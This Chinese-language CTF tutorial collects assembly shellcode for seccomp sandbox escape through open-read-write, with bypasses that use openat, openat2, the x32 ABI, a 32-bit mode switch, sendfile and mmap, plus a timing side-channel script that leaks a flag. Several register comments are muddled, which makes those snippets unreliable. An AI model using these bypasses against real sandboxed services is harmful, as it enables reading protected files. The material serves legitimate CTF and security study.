沙盒逃逸(ORW合集)
字数 1571 2025-08-23 18:31:09
沙盒逃逸(ORW合集)技术详解
1. ORW基础概念
ORW (Open-Read-Write)是沙盒逃逸中的一种常见技术,用于绕过沙箱限制读取或写入文件。基本流程包括:
- 打开文件(Open)
- 读取文件内容(Read)
- 输出读取的内容(Write)
2. 基础ORW实现
2.1 64位基础ORW
push 0x67616c66 ; 将'flag'字符串压栈
mov rdi, rsp ; 将栈指针(指向'flag')赋给rdi
xor esi, esi ; 清空esi(open的flags参数)
push 2 ; open的系统调用号
pop rax
syscall ; 调用open
mov rdi, rax ; 将文件描述符存入rdi
mov rsi, rsp ; 缓冲区地址
mov edx, 0x100 ; 读取长度
xor eax, eax ; read的系统调用号(0)
syscall ; 调用read
mov edi, 1 ; stdout文件描述符
mov rsi, rsp ; 缓冲区地址
push 1 ; write的系统调用号
pop rax
syscall ; 调用write
2.2 32位基础ORW
push 0
push 0x67616c66 ; 'flag'
push esp
pop ebx ; ebx指向'flag'
xor ecx, ecx ; 清空ecx(open的flags参数)
push 5 ; open的系统调用号
pop eax
int 0x80 ; 调用open
push eax
pop ebx ; 文件描述符存入ebx
push esp
pop ecx ; 缓冲区地址
push 0x50
pop edx ; 读取长度
push 3 ; read的系统调用号
pop eax
int 0x80 ; 调用read
push 1 ; stdout文件描述符
pop ebx
push esp
pop ecx ; 缓冲区地址
push 0x50
pop edx ; 写入长度
push 4 ; write的系统调用号
pop eax
int 0x80 ; 调用write
3. ORW缺O的情况
3.1 只ban了open函数
使用openat函数替代:
- 系统调用号是257
- 函数原型:
int openat(int dirfd, const char *pathname, int flags)
push 0x67616c66 ; 'flag'
mov rsi, rsp ; 路径名
xor rdx, rdx ; flags
mov rdi, 0xffffff9c ; AT_FDCWD(-100)
push 257 ; openat的系统调用号
pop rax
syscall ; 调用openat
; 后续read和write操作与基础ORW相同
3.2 ban了open和openat函数
方案1:使用x32 ABI
x32 ABI允许在64位架构下使用32位指针,系统调用号都加上0x40000000:
mov eax, 0x67616c66 ; 'flag'
push rax
mov rdi, rsp
xor rsi, rsi
mov rax, 0x40000002 ; x32 open的系统调用号
syscall
mov rdi, rax
mov rax, rsp
add rax, 0x100
mov rsi, rax
mov rdx, 0x40
mov rax, 0x40000000 ; x32 read的系统调用号
syscall
mov edi, 2
mov rax, 0x40000001 ; x32 write的系统调用号
syscall
方案2:切换到32位模式
; 切换到32位模式
xor rsp, rsp
mov esp, 0x602160
mov DWORD PTR [esp+4], 0x23 ; 设置CS寄存器为0x23(32位模式)
mov DWORD PTR [esp], 0x602590 ; 设置新的eip
retfd ; 远返回,切换到32位模式
; 32位shellcode
push 0
push 0x67616c66 ; 'flag'
push esp
pop ebx
xor ecx, ecx
push 5 ; open的系统调用号
pop eax
int 0x80
push eax
pop ebx
push esp
pop ecx
push 0x50
pop edx
push 3 ; read的系统调用号
pop eax
int 0x80
push 1
pop ebx
push esp
pop ecx
push 0x50
pop edx
push 4 ; write的系统调用号
pop eax
int 0x80
方案3:使用openat2函数(内核>=5.6)
push rax
xor rdi, rdi
sub rdi, 100 ; AT_FDCWD(-100)
mov rsi, rsp ; 路径名
push 0
push 0
push 0
mov rdx, rsp ; open_how结构体
mov r10, 0x18 ; sizeof(open_how)
push 437 ; openat2的系统调用号
pop rax
syscall
; 后续read和write操作
4. ORW缺R的情况
4.1 使用sendfile函数
mov rax, 0x67616c662f ; '/flag'
push rax
push 257
pop rax
mov rsi, rsp
xor rdi, rdi
xor rdx, rdx
xor r10, r10
syscall ; 调用open
; 使用sendfile(1, fd, 0, 0x100)
mov r10d, 0x100
mov rsi, rax ; 文件描述符
push 40 ; sendfile的系统调用号(0x28)
pop rax
push 1
pop rdi ; stdout
xor rsi, rsi ; 偏移量
mov rsi, 3 ; 文件描述符
xor rdx, rdx ; 偏移量
syscall
4.2 使用pread64/readv/preadv/preadv2
4.3 使用mmap映射文件
mov rax, 0x67616c662f2e ; './flag'
mov rsi, 0
mov rdx, 0
push rax
mov rax, 2 ; open的系统调用号
push rsp
pop rdi
syscall ; 调用open
mov rdi, 0 ; 映射地址(0表示由系统选择)
mov rsi, 0x100 ; 映射大小
mov rdx, 7 ; PROT_READ|PROT_WRITE|PROT_EXEC
mov rcx, 2 ; MAP_PRIVATE
mov r10, 2 ; 文件描述符
mov r8, rax ; 文件描述符
mov r9, 0 ; 偏移量
mov rax, 9 ; mmap的系统调用号
syscall ; 调用mmap
push rax
pop rsi ; 映射地址
mov rax, 1 ; write的系统调用号
mov rdi, 1 ; stdout
mov rdx, 0x40 ; 写入长度
syscall ; 调用write
5. ORW缺W的情况
5.1 测信道爆破
通过逐字节比较flag内容,利用时间差推断flag:
def pwn():
global s
flag = ''
count = 1
for i in range(len(flag), 0x50):
left = 32
right = 127
while left < right:
s = process('./ezshell')
getshellcode()
mid = (left + right) >> 1
orw_shellcode = f'''
mov rdi, 0x67616c662f2e
push rdi
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall
mov rdi, 3
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall
mov dl, byte ptr [rsp+{i}]
mov cl, {mid}
cmp dl, cl
ja loop
ret
loop:
jmp loop
'''
s.sendline(asm(orw_shellcode))
start_time = time.time()
try:
s.recv(timeout=0.2)
if(time.time() - start_time > 0.1):
left = mid + 1
except:
right = mid
s.close()
flag += chr(left)
5.2 使用pwrite64/writev替代
6. 高级技术:x32 ABI详解
x32 ABI是Linux系统内核接口之一,允许在64位架构下使用32位指针,避免64位指针的额外开销。
6.1 特点
- 系统调用号 = 原始系统调用号 + 0x40000000
- 必须使用32位指针
- 保留至今,主要用于性能敏感场景
6.2 系统调用表示例
#define __NR_read (__X32_SYSCALL_BIT + 0)
#define __NR_write (__X32_SYSCALL_BIT + 1)
#define __NR_open (__X32_SYSCALL_BIT + 2)
#define __NR_close (__X32_SYSCALL_BIT + 3)
7. 高级技术:32位模式切换
7.1 切换方法
- 使用
retf指令(远返回) - 需要设置CS寄存器为0x23(32位模式)
- 需要32位地址的RWX内存段
7.2 实现步骤
- 使用mmap申请32位地址空间
- 写入32位shellcode
- 设置栈结构并执行retf
; 申请内存
xor rax, rax
mov al, 9 ; mmap的系统调用号
mov rdi, 0x602000 ; 映射地址
mov rsi, 0x1000 ; 映射大小
mov rdx, 7 ; PROT_READ|PROT_WRITE|PROT_EXEC
mov r10, 0x32 ; MAP_PRIVATE|MAP_ANONYMOUS
mov r8, 0xffffffff ; 文件描述符(-1)
mov r9, 0 ; 偏移量
syscall
; 读取32位shellcode
mov rax, 0 ; read的系统调用号
xor rdi, rdi ; stdin
mov rsi, 0x602590 ; 目标地址
mov rdx, 100 ; 读取长度
syscall
; 切换到32位模式
xor rsp, rsp
mov esp, 0x602160 ; 32位栈地址
mov DWORD PTR [esp+4], 0x23 ; 设置CS寄存器
mov DWORD PTR [esp], 0x602590 ; 设置eip
retfd ; 远返回,切换到32位模式
8. mmap函数详解
mmap用于将文件或对象映射到内存中,参数说明:
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
addr: 映射地址(0表示由系统选择)length: 映射长度(必须是页大小的倍数)prot: 保护标志组合- PROT_EXEC(4): 可执行
- PROT_READ(1): 可读
- PROT_WRITE(2): 可写
- PROT_NONE(0): 不可访问
flags: 映射类型组合- MAP_FIXED(10)
- MAP_SHARED(1)
- MAP_PRIVATE(2)
- MAP_NORESERVE(4000)
- MAP_LOCKED(2000)
fd: 文件描述符offset: 文件偏移量
9. 防御与绕过思路
9.1 常见防御措施
- 禁用特定系统调用(open/openat等)
- 限制系统调用号范围
- 检测架构模式
- 限制内存映射权限
9.2 绕过思路
- 使用替代系统调用(openat/openat2等)
- 使用x32 ABI
- 切换到32位模式
- 使用测信道技术
- 组合使用文件映射和内存操作
10. 实际案例分析
10.1 [TSCTF-J 2022] Easy Shellcode
- 使用x32 ABI绕过系统调用限制
- 关键点:系统调用号加0x40000000
10.2 [CrossCTF Quals 2018] Impossible Shellcoding
- 使用32位模式切换技术
- 关键点:retf指令和32位内存布局
11. 总结
ORW技术是沙盒逃逸中的核心技能,掌握各种变体和绕过技术对于CTF比赛和实际安全研究都至关重要。关键点包括:
- 熟悉基础ORW实现
- 掌握替代系统调用的使用
- 了解x32 ABI和32位模式切换
- 熟练使用测信道等非直接技术
- 能够根据防御措施灵活调整攻击方案